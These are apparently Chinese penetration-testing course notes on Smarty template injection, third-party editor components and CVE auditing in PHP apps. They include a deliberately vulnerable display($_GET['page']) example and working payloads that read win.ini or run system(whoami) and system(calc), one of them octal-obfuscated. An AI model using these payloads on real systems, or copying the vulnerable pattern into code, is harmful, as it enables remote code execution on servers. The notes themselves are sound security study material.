PHP应用-组件框架&前端模版渲染&三方插件&富文本编辑器&CVE审计(2024小迪安全DAY30笔记)

文章目录

模板引擎

在开始介绍Smarty之前先了解一下模板引擎,模板引擎是为了让前端界(html)与程序代码(php)分离而产生的一种解决方案,简单来说就是html文件里再也不用写php代码了。Smarty的原理是变量替换原则,我们只需在html文件写好Smarty的标签即可,例{name},然后调用Smarty的方法传递变量参数即可。

使用配置&方法

1、创建一个文件夹,命名为smarty-demo。

2、下载Smarty对应版本并解压缩到该文件夹中。

3、创建一个PHP文件,命名为demo.php,并在文件中添加以下代码:

php 复制代码
<?php
// 引入 Smarty 类文件
require('smarty-demo/libs/Smarty.class.php');
// 创建 Smarty 实例
$smarty = new Smarty;
// 设置 Smarty 相关属性
$smarty->template_dir = 'smarty-demo/templates/';
$smarty->compile_dir = 'smarty-demo/templates_c/';
$smarty->cache_dir = 'smarty-demo/cache/';
$smarty->config_dir = 'smarty-demo/configs/';
// 赋值变量到模板中
$smarty->assign('title', '欢迎使用 Smarty');
// 显示模板
$smarty->display('index.tpl');
?>

4、创建一个名为index.tpl的模板文件,并将以下代码复制到上述点定义文件夹中

html 复制代码
<!DOCTYPE html>
<html>
<head>
<title>{$title}</title>
</head>
<body>
<h1>{$title}</h1>
<p>这是一个使用 Smarty 的例子。</p>
</body>
</html>

渲染文件受控

漏洞利用:

php 复制代码
// 显示模板
$smarty->display('index.tpl');
//受控的渲染页面文件
$smarty->display($_GET['page']);

黑盒思路:

判断网站的url有没有这种写法x.php?page= /url= index.tpl index.html

白盒思路:

1、使用smarty模版引擎

2、版本存在已知的CVE漏洞

3、可控的渲染文件或变量

CVE参考:

https://xz.aliyun.com/t/11108

https://www.cnblogs.com/magic-zero/p/8351974.html

POC:

*/phpinfo();//

string:{include file='C:/Windows/win.ini'}

string:{function name='x(){};system(whoami);function '}{/function}

string:{$smarty.template_object->smarty->_getSmartyObj()->display('string:{system(whoami)}')}

eval:{math equation='("\163\171\163\164\145\155")("\167\150\157\141\155\151")'}

执行过程:

1、攻击者输入POC

POC 的目的就是把攻击者控制的字符串 构造成 Smarty 能当作"模板源(resource)"来编译 的形式(常用前缀是 string: / eval:),使引擎把该字符串写成 templates_c 下的 PHP 编译文件并在后续请求中执行它,从而把"用户输入"变成了"服务器端可执行代码"。

2、Smarty的渲染接口接收到string:.../eval:...等,会把参数当作模板源字符串 来处理,而不是简单的文件路径。

--- 关键:如果应用允许用户控制参数并且引擎会把其当作模板源读取,就把"用户输入"直接变成了可编译的模板内容。

3、编译成PHP文件

4、PHP 执行编译文件

案例一:代码审计CMS:(由第三方应用引用导致安全问题)

网钛(OTCMS):

这个平台更新到了最高版本,但也没有修复这个漏洞的原因是漏洞产生在后台,必须有后台权限才有可能触发这个漏洞。如果是这个模板加上可控变量而且不用任何权限就可以执行,那么就是高危

POC:

{otcms:$smarty.template_object->smarty->_getSmartyObj()->display('string:{otcms:system(calc)}')}

注意:POC格式一定要按照可识别的格式编写

执行结果:网站首页弹出计算器

插件组件(引用的第三方功能组件)

编辑器,邮箱,图片处理等(看DAY30笔记)

目的是知道网站的某些功能可能依赖第三方组件 ------ 如果识别出这些组件及其版本,就能去查对应版本是否存在已知漏洞(例如某个被引用的"编译器"组件本身有漏洞

使用:

https://www.cnblogs.com/qq350760546/p/6669112.html

参考:

https://www.cnblogs.com/linglinglingling/p/18040866

https://blog.csdn.net/weixin_58099903/article/details/125810825

白盒思路:看手册,学习这个组件的使用方法

黑盒思路:看特征、看功能、识别语言是不是PHP

案例二:编译器漏洞

-Kindeditor:https://www.cnblogs.com/TaoLeonis/p/14899198.html

相关推荐
Coffeeee2 小时前
从 Android 15 到 Android 17,谷歌猝不及防的音频改动
android·前端·google
雪隐2 小时前
用Flutter做背单词APP-00前言
前端·人工智能·后端
何时梦醒2 小时前
前端存储全攻略 & JavaScript this 绑定完全指南
前端·javascript·面试
前端百草阁2 小时前
JavaScript 设计模式(23 种)
开发语言·前端·javascript·设计模式
用户69371750013842 小时前
AI 领域的 Harness,到底是什么意思?
android·前端·后端
spider_xcxc2 小时前
Redis 深度实践:安全管控、性能压测与持久化分析(二)
运维·前端·redis·云计算·bootstrap·运维开发
乘风gg2 小时前
代码都已经让 AI 写了,为什么有些人却更慌了?
前端·ai编程·claude
我不是外星人2 小时前
一键还原任意网站,这套 Playwright + 多 Agent 工程流太猛了
前端·后端·ai编程
用户059540174462 小时前
AI 客服突然“失忆”,排查 6 小时发现 LangChain 记忆存储的 3 个致命坑
前端·css
IT_陈寒3 小时前
Vue的v-if和v-show,我竟然用错了这么久
前端·人工智能·后端